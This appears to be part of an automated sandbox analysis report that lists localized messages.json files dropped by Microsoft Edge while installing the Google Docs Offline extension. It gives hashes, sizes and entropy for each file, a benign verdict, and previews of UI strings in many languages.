Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
